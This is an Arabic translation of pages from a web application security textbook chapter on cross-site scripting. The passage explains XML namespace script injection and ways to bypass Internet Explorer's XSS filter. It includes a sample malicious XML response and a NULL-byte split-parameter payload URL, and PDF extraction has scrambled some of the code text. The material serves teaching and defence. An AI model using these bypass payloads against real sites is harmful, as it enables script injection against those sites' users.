‫ﺑﻨﻮﻉﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺬﻛﻮﺭ‪ .‬ﺗﺘﺒﻊ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻟﻤﺨﺘﻠﻔﺔ ﺃﺳﺎﻟﻴﺐ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﻠﻴﻞ ﺍﻟﻤﺤﺘﻮﻯ‪ .‬ﺑﻌﻀﻬﺎ‬
‫ﻳﻌﺘﻤﺪﺑﺒﺴﺎﻃﺔ ﻋﻠﻰﻧﻮﻉ ﺍﻟﻤﺤﺘﻮﻯﻳﻘﻮﻡ ﺁﺧﺮﻭﻥ ﺑﻔﺤﺺ ﺍﻟﻤﺤﺘﻮﻯ ﻧﻔﺴﻪ‪ ،‬ﻭﻫﻢ ﻋﻠﻰ ﺍﺳﺘﻌﺪﺍﺩ ﻟﺘﺠﺎﻭﺯ‬
‫ﺍﻟﻨﻮﻉﺍﻟﻤﺬﻛﻮﺭ ﺇﺫﺍ ﺑﺪﺍ ﻣﺨﺘﻠﻔﺎً‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﺃﻳﺎً ﻣﻦ ﺍﻟﻨﻬﺠﻴﻦ ﻳﺠﻌﻞ ﻣﻦ ﻏﻴﺮ ﺍﻟﻤﺮﺟﺢ‬
‫ﺃﻥﻳﻌﺎﻟﺞ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻻﺳﺘﺠﺎﺑﺔ ﺑﺘﻨﺴﻴﻖ ‪.HTML‬‬

‫ﺇﺫﺍﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺇﻧﺸﺎء ﺍﺳﺘﺠﺎﺑﺔ ﻧﺎﺟﺤﺔ ﻓﻲ ﺗﻨﻔﻴﺬ ﻧﺺ ﺑﺮﻣﺠﻲ‪ ،‬ﻓﻌﺎﺩﺓ ًﻣﺎ ﻳﺘﻄﻠﺐ ﺫﻟﻚ‬
‫ﺍﺳﺘﻐﻼﻝﺑﻌﺾ ﺍﻟﺴﻤﺎﺕ ﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﺨﺎﺻﺔ ﺑﻨﻮﻉ ﺍﻟﻤﺤﺘﻮﻯ ﺍﻟﻤﺤُﻘﻦ‪ .‬ﻟﺤﺴﻦ ﺍﻟﺤﻆ‪ ،‬ﻓﻲ ﺣﺎﻟﺔ ‪،XML‬‬
‫ﻳﻤﻜﻦﺗﺤﻘﻴﻖ ﺫﻟﻚ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺗﺮﻣﻴﺰ ‪ XML‬ﻟﺘﺤﺪﻳﺪ ﻣﺴﺎﺣﺔ ﺍﺳﻢ ﺟﺪﻳﺪﺓ ﻣﺮُﺗﺒﻄﺔ ﺑـ ‪ ،XHTML‬ﻣﻤﺎ‬
‫ﻳﻤُﻜﻦّﺍﻟﻤﺘﺼﻔﺢ ﻣﻦ ﺗﺤﻠﻴﻞ ﺍﺳﺘﺨﺪﺍﻣﺎﺕ ﺗﻠﻚ ﺍﻟﻤﺴﺎﺣﺔ ﻋﻠﻰ ﺃﻧﻬﺎ ‪ .HTML‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻋﻨﺪ‬
‫ﻣﻌﺎﻟﺠﺔ‪ Firefox‬ﻟﻼﺳﺘﺠﺎﺑﺔ ﺍﻟﺘﺎﻟﻴﺔ‪ ،‬ﻳﺘﻢ ﺗﻨﻔﻴﺬ ﺍﻟﻨﺺ ﺍﻟﺒﺮﻣﺠﻲ ﺍﻟﻤﺤُﻘﻦ‪:‬‬

‫ﻣﻮﺍﻓﻖ‪HTTP/1.1 200‬‬
‫ﻧﻮﻉﺍﻟﻤﺤﺘﻮﻯ‪ :‬ﻧﺺ‪xml/‬‬
‫‪479‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻃﻮﻝﺍﻟﻤﺤﺘﻮﻯ‪1098 :‬‬

‫>ﺇﻛﺲ ﺇﻡ ﺇﻝ<‬

‫>ﺍﻟﺒﻴﺎﻧﺎﺕ<‬
‫‪...‬‬
‫<‪/1999/xhtml'< >a:body onload='alert)1('/<>/a‬‬
‫‪>a xmlns:a='http://www.w3.org‬‬
‫‪...‬‬
‫<‪>/data‬‬
‫<‪>/xml‬‬

‫ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً‪ ،‬ﺗﻨﺠﺢ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺓ ﻋﻨﺪﻣﺎ ﻳﺘﻢ ﺍﺳﺘﻬﻼﻙ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻣﺒﺎﺷﺮﺓ ًﺑﻮﺍﺳﻄﺔ ﺍﻟﻤﺘﺼﻔﺢ‪،‬‬
‫ﻭﻟﻴﺲﺑﻮﺍﺳﻄﺔ ﻣﻜﻮﻥ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻷﺻﻠﻲ ﺍﻟﺬﻱ ﻳﻘﻮﻡ ﻋﺎﺩﺓ ًﺑﻤﻌﺎﻟﺠﺔ ﺍﻻﺳﺘﺠﺎﺑﺔ‪.‬‬

‫ﻣﻬﺎﺟﻤﺔﻣﺮﺷﺤﺎﺕ ‪ XSS‬ﻟﻠﻤﺘﺼﻔﺢ‬
‫ﺇﺣﺪﻯﺍﻟﻌﻘﺒﺎﺕ ﺍﻟﺘﻲ ﺗﺤﻮﻝ ﺩﻭﻥ ﺍﻻﺳﺘﻐﻼﻝ ﺍﻟﻌﻤﻠﻲ ﻷﻱ ﺛﻐﺮﺓ ‪ XSS‬ﻣﻨﻌﻜﺴﺔ ﺗﻘﺮﻳﺒﺎً ﺗﻜﻤﻦ ﻓﻲ‬
‫ﻣﻴﺰﺍﺕﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﻤﺘﻨﻮﻋﺔ ﺍﻟﺘﻲ ﺗﺴﻌﻰ ﻟﺤﻤﺎﻳﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ ﻣﻦ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ ﺗﺤﺪﻳﺪﺍً‪ .‬ﺗﺘﻀﻤﻦ‬
‫ﺍﻹﺻﺪﺍﺭﺍﺕﺍﻟﺤﺎﻟﻴﺔ ﻣﻦ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻣﺮُﺷﺢِّ ‪ XSS‬ﺍﻓﺘﺮﺍﺿﻴﺎً‪ ،‬ﻭﺗﺘﻮﻓﺮ ﻣﻴﺰﺍﺕ ﻣﺸﺎﺑﻬﺔ‬
‫ﻛﺈﺿﺎﻓﺎﺕﻟﻠﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﺍﻷﺧﺮﻯ‪ .‬ﺗﻌﻤﻞ ﺟﻤﻴﻊ ﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺑﻄﺮﻳﻘﺔ ﻣﺘﺸﺎﺑﻬﺔ‪ :‬ﻓﻬﻲ‬
‫ﺗﺮﺍﻗﺐﺍﻟﻄﻠﺒﺎﺕ ﻭﺍﻻﺳﺘﺠﺎﺑﺎﺕ ﺑﺸﻜﻞ ﺳﻠﺒﻲ‪ ،‬ﻭﺗﺴﺘﺨﺪﻡ ﻗﻮﺍﻋﺪ ﻣﺨﺘﻠﻔﺔ ﻟﺘﺤﺪﻳﺪ ﻫﺠﻤﺎﺕ ‪XSS‬‬
‫ﺍﻟﻤﺤﺘﻤﻠﺔﻗﻴﺪ ﺍﻟﺘﻨﻔﻴﺬ‪ ،‬ﻭﻋﻨﺪ ﺗﺤﺪﻳﺪ ﻫﺠﻮﻡ ﻣﺤﺘﻤﻞ‪ ،‬ﺗﻌُﺪﻝّ ﺃﺟﺰﺍء ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﺘﺤﻴﻴﺪﻩ‪.‬‬

‫ﻛﻤﺎﺫﻛﺮﻧﺎ ﺳﺎﺑﻘﺎً‪ ،‬ﺗﻌُﺘﺒﺮ ﺷﺮﻭﻁ ‪ XSS‬ﺛﻐﺮﺍﺕ ﺃﻣﻨﻴﺔ ﺇﺫﺍ ﺃﻣﻜﻦ ﺍﺳﺘﻐﻼﻟﻬﺎ ﻋﺒﺮ ﺃﻱ ﻣﺘﺼﻔﺢ ﻭﺍﺳﻊ‬
‫ﺍﻻﺳﺘﺨﺪﺍﻡ‪،‬ﻭﻭﺟﻮﺩ ﻣﺮﺷﺤﺎﺕ ‪ XSS‬ﻓﻲ ﺑﻌﺾ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻻ ﻳﻌﻨﻲ ﺑﺎﻟﻀﺮﻭﺭﺓ ﺿﺮﻭﺭﺓ ﺇﺻﻼﺣﻬﺎ‪ .‬ﻣﻊ‬
‫ﺫﻟﻚ‪،‬ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ﺍﻟﻌﻤﻠﻴﺔ‪ ،‬ﻗﺪ ﻳﺤﺘﺎﺝ ﺍﻟﻤﻬﺎﺟﻢ ﺗﺤﺪﻳﺪﺍً ﺇﻟﻰ ﺍﺳﺘﻐﻼﻝ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻋﺒﺮ ﻣﺘﺼﻔﺢ‬
‫ﻳﻄُﺒﻖّﻣﺮﺷﺢ ‪ .XSS‬ﻋﻼﻭﺓ ﻋﻠﻰ ﺫﻟﻚ‪ ،‬ﻓﺈﻥ ﻃﺮﻕ ﺍﻟﺘﺤﺎﻳﻞ ﻋﻠﻰ ﻣﺮﺷﺤﺎﺕ ‪ XSS‬ﻣﺜﻴﺮﺓ ﻟﻼﻫﺘﻤﺎﻡ ﺑﺤﺪ‬
‫ﺫﺍﺗﻬﺎ‪.‬ﻓﻲ ﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﻤﻜﻦ ﺍﻻﺳﺘﻔﺎﺩﺓ ﻣﻨﻬﺎ ﻟﺘﺴﻬﻴﻞ ﺷﻦ ﻫﺠﻤﺎﺕ ﺃﺧﺮﻯ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﺴﺘﺤﻴﻞ‬
‫ﺗﻨﻔﻴﺬﻫﺎﻟﻮﻻ ﺫﻟﻚ‪.‬‬

‫ﻳﺘﻨﺎﻭﻝﻫﺬﺍ ﺍﻟﻘﺴﻢ ﻣﺮﺷﺢ ‪ XSS‬ﻓﻲ ﻣﺘﺼﻔﺢ ‪ .Internet Explorer‬ﻳﻌُﺪ ّﺣﺎﻟﻴﺎً ﺍﻟﻤﺮﺷﺢ ﺍﻷﻛﺜﺮ‬
‫ﻧﻀﺠﺎًﻭﺍﻧﺘﺸﺎﺭﺍً‪.‬‬
‫ﺍﻟﻌﻤﻠﻴﺔﺍﻷﺳﺎﺳﻴﺔ ﻟﻤﺮﺷﺢ ‪ IE XSS‬ﻫﻲ ﻛﻤﺎ ﻳﻠﻲ‪:‬‬

‫ﻓﻲﺍﻟﻄﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ‪ ،‬ﺗﻔُﺤﺺ ﻛﻞ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﻟﺘﺤﺪﻳﺪ ﻣﺤﺎﻭﻻﺕ ﺣﻘﻦ ﺟﺎﻓﺎ‬ ‫‪-‬‬

‫ﺳﻜﺮﻳﺒﺖﺍﻟﻤﺤﺘﻤﻠﺔ‪ .‬ﻳﺘﻢ ﺫﻟﻚ ﺑﻤﻘﺎﺭﻧﺔ ﺍﻟﻘﻴﻤﺔ ﺑﻘﺎﺉﻤﺔ ﺳﻮﺩﺍء ﻗﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻌﺎﺑﻴﺮ ﺍﻟﻌﺎﺩﻳﺔ‬
‫ﻟﺴﻼﺳﻞﺍﻟﻬﺠﻤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ‪.‬‬
‫ﺇﺫﺍﺗﻢ ﺍﻟﻌﺜﻮﺭ ﻋﻠﻰ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﺿﺎﺭﺓ ﻣﺤﺘﻤﻠﺔ‪ ،‬ﻳﺘﻢ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﻤﻌﺮﻓﺔ ﻣﺎ ﺇﺫﺍ‬ ‫‪-‬‬

‫ﻛﺎﻧﺖﺗﺤﺘﻮﻱ ﻋﻠﻰ ﻧﻔﺲ ﺍﻟﻘﻴﻤﺔ‪.‬‬


‫ﺇﺫﺍﻇﻬﺮﺕ ﺍﻟﻘﻴﻤﺔ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ ،‬ﻓﺴﻴﺘﻢ ﺗﻄﻬﻴﺮ ﺍﻻﺳﺘﺠﺎﺑﺔ ﻟﻤﻨﻊ ﺗﻨﻔﻴﺬ ﺃﻱ ﻧﺺ ﺑﺮﻣﺠﻲ‪.‬‬ ‫‪-‬‬

‫ﻋﻠﻰﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪> ،‬ﻧﺺ<ﺗﻢ ﺗﻌﺪﻳﻠﻪ ﻟﻴﺼﺒﺢ‬


‫‪>sc#ipt<.‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬ ‫‪480‬‬

‫ﺃﻭﻝﻣﺎ ﻳﻘُﺎﻝ ﻋﻦ ﻣﺮُﺷﺢِّ ‪ XSS‬ﻓﻲ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﻫﻮ ﻓﻌﺎﻟﻴﺘﻪ ﺍﻟﻌﺎﻟﻴﺔ ﻋﻤﻮﻣﺎً ﻓﻲ ﻣﻨﻊ‬
‫ﺍﻻﺳﺘﻐﻼﻝﺍﻟﻤﻌُﺘﺎﺩ ﻷﺧﻄﺎء ‪ ،XSS‬ﻣﻤﺎ ﻳﺮﻓﻊ ﻣﺴﺘﻮﻯ ﺍﻟﺤﻤﺎﻳﺔ ﺑﺸﻜﻞ ﻛﺒﻴﺮ ﻷﻱ ﻣﻬُﺎﺟﻢ ﻳﺤُﺎﻭﻝ ﺗﻨﻔﻴﺬ‬
‫ﻫﺬﻩﺍﻟﻬﺠﻤﺎﺕ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﻤُﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮُﺷﺢِّ ﺑﻄﺮﻕ ﻣﻬﻤﺔ‪ .‬ﻛﻤﺎ ﻳﻤُﻜﻨﻚ ﺍﺳﺘﻐﻼﻝ ﺁﻟﻴﺔ ﻋﻤﻠﻪ‬
‫ﻟﺘﻨﻔﻴﺬﻫﺠﻤﺎﺕ ﻛﺎﻧﺖ ﺳﺘﻜﻮﻥ ﻣﺴُﺘﺤﻴﻠﺔ ﻟﻮﻻ ﺫﻟﻚ‪.‬‬

‫ﺃﻭﻻ‪ً،‬ﻫﻨﺎﻙ ﺑﻌﺾ ﺍﻟﻄﺮﻕ ﻟﺘﺠﺎﻭﺯ ﺍﻟﻔﻠﺘﺮ ﻭﺍﻟﺘﻲ ﺗﻨﺸﺄ ﻣﻦ ﺍﻟﻤﻴﺰﺍﺕ ﺍﻷﺳﺎﺳﻴﺔ ﻟﺘﺼﻤﻴﻤﻪ‪:‬‬
‫ﺗﺆُﺧﺬﻗﻴﻢ ﺍﻟﻤﻌﻠﻤﺎﺕ ﻓﻘﻂ ﻓﻲ ﺍﻻﻋﺘﺒﺎﺭ‪ ،‬ﻭﻟﻴﺲ ﺃﺳﻤﺎء ﺍﻟﻤﻌﻠﻤﺎﺕ‪ .‬ﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ‬ ‫‪-‬‬

‫ﻣﻌﺮﺿﺔﻟﻬﺠﻤﺎﺕ ﺑﺴﻴﻄﺔ ﻋﺒﺮ ﺃﺳﻤﺎء ﺍﻟﻤﻌﻠﻤﺎﺕ‪ ،‬ﻣﺜﻞ ﺗﻜﺮﺍﺭ ﻋﻨﻮﺍﻥ ‪ URL‬ﺍﻟﻤﻄﻠﻮﺏ ﺃﻭ‬
‫ﺳﻠﺴﻠﺔﺍﻻﺳﺘﻌﻼﻡ ﺑﺎﻟﻜﺎﻣﻞ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‪ .‬ﻻ ﻳﻤﻨﻊ ﺍﻟﻔﻠﺘﺮ ﻫﺬﻩ ﺍﻟﻬﺠﻤﺎﺕ‪.‬‬

‫ﻧﻈﺮﺍًﻷﻥ ﻛﻞ ﻗﻴﻤﺔ ﻣﻌﻠﻤﺔ ﺗﺪُﺭﺱ ﻋﻠﻰ ﺣﺪﺓ‪ ،‬ﻓﺈﺫﺍ ﺍﻧﻌﻜﺴﺖ ﺃﻛﺜﺮ ﻣﻦ ﻣﻌﻠﻤﺔ ﻓﻲ ﺍﻻﺳﺘﺠﺎﺑﺔ‬ ‫‪-‬‬

‫ﻧﻔﺴﻬﺎ‪،‬ﻓﻘﺪ ﻳﻜﻮﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺗﻮﺯﻳﻊ ﺍﻟﻬﺠﻮﻡ ﺑﻴﻦ ﺍﻟﻤﻌﻠﻤﺘﻴﻦ‪ ،‬ﻭﻫﻮ ﻣﺎ ﻭﺻُﻒ ﻛﺘﻘﻨﻴﺔ ﻟﺘﺠﺎﻭﺯ‬
‫ﺣﺪﻭﺩﺍﻟﻄﻮﻝ‪ .‬ﺇﺫﺍ ﺃﻣﻜﻦ ﺗﻘﺴﻴﻢ ﺣﻤﻮﻟﺔ ‪ XSS‬ﺇﻟﻰ ﺃﺟﺰﺍء‪ ،‬ﻻ ﻳﺘﻮﺍﻓﻖ ﺃﻱ ﻣﻨﻬﺎ ﺑﺸﻜﻞ ﻓﺮﺩﻱ ﻣﻊ‬
‫ﺍﻟﻘﺎﺉﻤﺔﺍﻟﺴﻮﺩﺍء ﻟﻠﺘﻌﺒﻴﺮﺍﺕ ﺍﻟﻤﺤﻈﻮﺭﺓ‪ ،‬ﻓﻠﻦ ﻳﺤﻈﺮ ﺍﻟﻔﻠﺘﺮ ﺍﻟﻬﺠﻮﻡ‪.‬‬

‫ﻳﺘﻢﺗﻀﻤﻴﻦ ﺍﻟﻄﻠﺒﺎﺕ ﻋﺒﺮ ﺍﻟﻨﻄﺎﻗﺎﺕ ﻓﻘﻂ‪ ،‬ﻷﺳﺒﺎﺏ ﺗﺘﻌﻠﻖ ﺑﺎﻷﺩﺍء‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﺇﺫﺍ ﺗﻤﻜﻦ‬ ‫‪-‬‬

‫ﻣﻬﺎﺟﻢﻣﻦ ﺣﺚ ّﺍﻟﻤﺴﺘﺨﺪﻡ ﻋﻠﻰ ﺗﻘﺪﻳﻢ ﻃﻠﺐ "ﺩﺍﺧﻠﻲ" ﻟﻠﺤﺼﻮﻝ ﻋﻠﻰ ﻋﻨﻮﺍﻥ ‪،URL XSS‬‬
‫ﻓﻠﻦﻳﺘﻢ ﺣﻈﺮ ﺍﻟﻬﺠﻮﻡ‪ .‬ﻳﻤﻜﻦ ﺗﺤﻘﻴﻖ ﺫﻟﻚ ﻋﺎﺩﺓ ًﺇﺫﺍ ﺍﺣﺘﻮﻯ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺃﻱ ﺳﻠﻮﻙ ﻳﺴﻤﺢ‬
‫ﻟﻠﻤﻬﺎﺟﻢﺑﺤﻘﻦ ﺭﻭﺍﺑﻂ ﻋﺸﻮﺍﺉﻴﺔ ﻓﻲ ﺻﻔﺤﺔ ﻳﺘﺼﻔﺤﻬﺎ ﻣﺴﺘﺨﺪﻡ ﺁﺧﺮ )ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﻫﺬﺍ ﺑﺤﺪ‬
‫ﺫﺍﺗﻪﻫﺠﻮﻣﺎً ﻣﻨﻌﻜﺴﺎً؛ ﺣﻴﺚ ﻳﺴﻌﻰ ﻣﺮُﺷﺢِّ ‪ XSS‬ﺇﻟﻰ ﺣﻈﺮ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺤﻘﻮﻧﺔ ﻓﻘﻂ‪،‬‬
‫ﻭﻟﻴﺲﺍﻟﺮﻭﺍﺑﻂ ﺍﻟﻤﺤﻘﻮﻧﺔ(‪ .‬ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻟﺔ‪ ،‬ﻳﺘﻄﻠﺐ ﺍﻟﻬﺠﻮﻡ ﺧﻄﻮﺗﻴﻦ‪ :‬ﺣﻘﻦ ﺍﻟﺮﺍﺑﻂ ﺍﻟﺨﺒﻴﺚ‬
‫ﻓﻲﺻﻔﺤﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﻗﻴﺎﻡ ﺍﻟﻤﺴﺘﺨﺪﻡ ﺑﺎﻟﻨﻘﺮ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ ﻭﺍﺳﺘﻘﺒﺎﻝ ﺣﻤﻮﻟﺔ ‪.XSS‬‬

‫ﺛﺎﻧﻴﺎً‪،‬ﺗﺴﻤﺢ ﺑﻌﺾ ﺗﻔﺎﺻﻴﻞ ﺍﻟﺘﻨﻔﻴﺬ ﺍﻟﻤﺘﻌﻠﻘﺔ ﺑﺴﻠﻮﻙ ﺍﻟﻤﺘﺼﻔﺢ ﻭﺍﻟﺨﺎﺩﻡ ﺑﺘﺠﺎﻭﺯ ﻣﺮﺷﺢ ‪XSS‬‬
‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪:‬‬
‫ﻛﻤﺎﻻﺣﻈﺖ‪ ،‬ﺗﺘﺴﺎﻣﺢ ﺍﻟﻤﺘﺼﻔﺤﺎﺕ ﻣﻊ ﺃﻧﻮﺍﻉ ﻣﺨﺘﻠﻔﺔ ﻣﻦ ﺍﻷﺣﺮﻑ ﻭﺍﻟﻘﻮﺍﻋﺪ ﺍﻟﻨﺤﻮﻳﺔ ﻏﻴﺮ‬ ‫‪-‬‬

‫ﺍﻟﻤﺘﻮﻗﻌﺔﻋﻨﺪ ﻣﻌﺎﻟﺠﺔ ‪ ،HTML‬ﻣﺜﻞ ﺗﺤﻤﻞّ ‪ IE‬ﻟﻠﺒﺎﻳﺘﺎﺕ ﺍﻟﻔﺎﺭﻏﺔ )‪ .(NULL‬ﻳﻤﻜﻦ ﺃﺣﻴﺎﻧﺎً‬


‫ﺍﺳﺘﻐﻼﻝﺑﻌﺾ ﻋﻴﻮﺏ ‪ IE‬ﻟﺘﺠﺎﻭﺯ ﻣﺮُﺷﺢِّ ‪ XSS‬ﺍﻟﺨﺎﺹ ﺑﻪ‪.‬‬

‫ﻛﻤﺎﺗﻤﺖ ﻣﻨﺎﻗﺸﺘﻪ ﻓﻲ ﺍﻟﻔﺼﻞ ‪ ،10‬ﺗﺘﺼﺮﻑ ﺧﻮﺍﺩﻡ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻄﺮﻕ ﻣﺨﺘﻠﻔﺔ ﻋﻨﺪﻣﺎ‬ ‫‪-‬‬

‫ﻳﺤﺘﻮﻱﺍﻟﻄﻠﺐ ﻋﻠﻰ ﻣﻌﻠﻤﺎﺕ ﻃﻠﺐ ﻣﺘﻌﺪﺩﺓ ﺑﻨﻔﺲ ﺍﻻﺳﻢ‪.‬‬


‫ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ‪ ،‬ﻳﺘﻢ ﺭﺑﻂ ﺟﻤﻴﻊ ﺍﻟﻘﻴﻢ ﺍﻟﻤﺴُﺘﻘﺒﻠَﺔ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﻓﻲ ‪،ASP.NET‬‬
‫ﺇﺫﺍﺍﺣﺘﻮﺕ ﺳﻠﺴﻠﺔ ﺍﻻﺳﺘﻌﻼﻡ ﻋﻠﻰ‪:‬‬
‫‪p1=foo&p1=bar‬‬

‫ﻗﻴﻤﺔﺹ‪1‬ﺍﻟﻤﻌﻠﻤﺔ ﺍﻟﺘﻲ ﻳﺘﻢ ﺗﻤﺮﻳﺮﻫﺎ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻫﻲ‪:‬‬


‫‪p1=foo،bar‬‬

‫ﻓﻲﺍﻟﻤﻘﺎﺑﻞ‪ ،‬ﻻ ﻳﺰﺍﻝ ﻣﺮُﺷﺢِّ ‪ IE XSS‬ﻳﻌُﺎﻟﺞ ﻛﻞ ﻣﻌُﺎﻣﻞ ﻋﻠﻰ ﺣﺪﺓ‪ ،‬ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﻟﻬﻤﺎ ﻧﻔﺲ‬
‫ﺍﻻﺳﻢ‪.‬ﻫﺬﺍ ﺍﻻﺧﺘﻼﻑ ﻓﻲ ﺍﻟﺴﻠﻮﻙ ﻳﺴُﻬﻞِّ‬
‫‪481‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ‪ :‬ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ‬

‫ﻟﺘﻮﺳﻴﻊﺣﻤﻮﻟﺔ ‪ XSS‬ﻋﺒﺮ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻣﻌﻠﻤﺎﺕ ﺍﻟﻄﻠﺐ "ﺍﻟﻤﺨﺘﻠﻔﺔ" ﺑﻨﻔﺲ ﺍﻻﺳﻢ‪ ،‬ﻭﺗﺠﺎﻭﺯ‬


‫ﺍﻟﻘﺎﺉﻤﺔﺍﻟﺴﻮﺩﺍء ﻣﻊ ﻛﻞ ﻗﻴﻤﺔ ﻣﻨﻔﺼﻠﺔ‪ ،‬ﻭﺍﻟﺘﻲ ﻳﻘﻮﻡ ﺍﻟﺨﺎﺩﻡ ﺑﺈﻋﺎﺩﺓ ﺗﺠﻤﻴﻌﻬﺎ ﺟﻤﻴﻌﺎً‪.‬‬

‫ﺟﺮﺑﻬﺎ!‬

‫ﺣﺎﻟﻴﺎً‪،‬ﻳﻨﺠﺢ ﺍﺳﺘﻐﻼﻝ ‪ XSS‬ﺍﻟﺘﺎﻟﻲ ﻓﻲ ﺗﺠﺎﻭﺯ ﻣﺮﺷﺢ ‪:IE XSS‬‬

‫<‪/5/Error.ashx?message=>scr%00ipt%20 &message=< alert)'xss'(>/script‬‬


‫‪http://mdsec.net/error‬‬

‫ﺛﺎﻟﺜﺎً‪،‬ﻳﻤُﻜﻦ ﺍﺳﺘﻐﻼﻝ ﻃﺮﻳﻘﺔ ﻣﺮُﺷﺢِّ ﻧﺼﻮﺹ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺎﺕ ﺍﻟﺘﻄﺒﻴﻖ ﻟﺸﻦ ّ‬
‫ﻫﺠﻤﺎﺕﻛﺎﻧﺖ ﻟﺘﻜﻮﻥ ﻣﺴُﺘﺤﻴﻠﺔ ﻟﻮﻻ ﺫﻟﻚ‪ .‬ﻭﺍﻟﺴﺒﺐ ﺍﻟﺮﺉﻴﺴﻲ ﻭﺭﺍء ﺫﻟﻚ ﻫﻮ ﺃﻥ ﺍﻟﻤﺮُﺷﺢِّ ﻳﻌﻤﻞ‬
‫ﺑﺸﻜﻞ ٍﺳﻠﺒﻲ‪ ،‬ﺣﻴﺚ ﻳﺒﺤﺚ ﻓﻘﻂ ﻋﻦ ﺍﻻﺭﺗﺒﺎﻃﺎﺕ ﺑﻴﻦ ﻣﺪُﺧﻼﺕ ﻭﻣﺨُﺮﺟﺎﺕ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ‪ .‬ﻻ‬
‫ﻳﻤُﻜﻨﻪﻓﺤﺺ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺸﻜﻞ ٍﺗﻔﺎﻋﻠﻲ ﻟﻠﺘﺄﻛﺪ ﻣﻤﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﺪُﺧﻞ ﻣﻌُﻴﻦ ﻳﺴُﺒﺐ ﻣﺨُﺮﺟﺎﺕ ﻣﻌُﻴﻨﺔ‪.‬‬
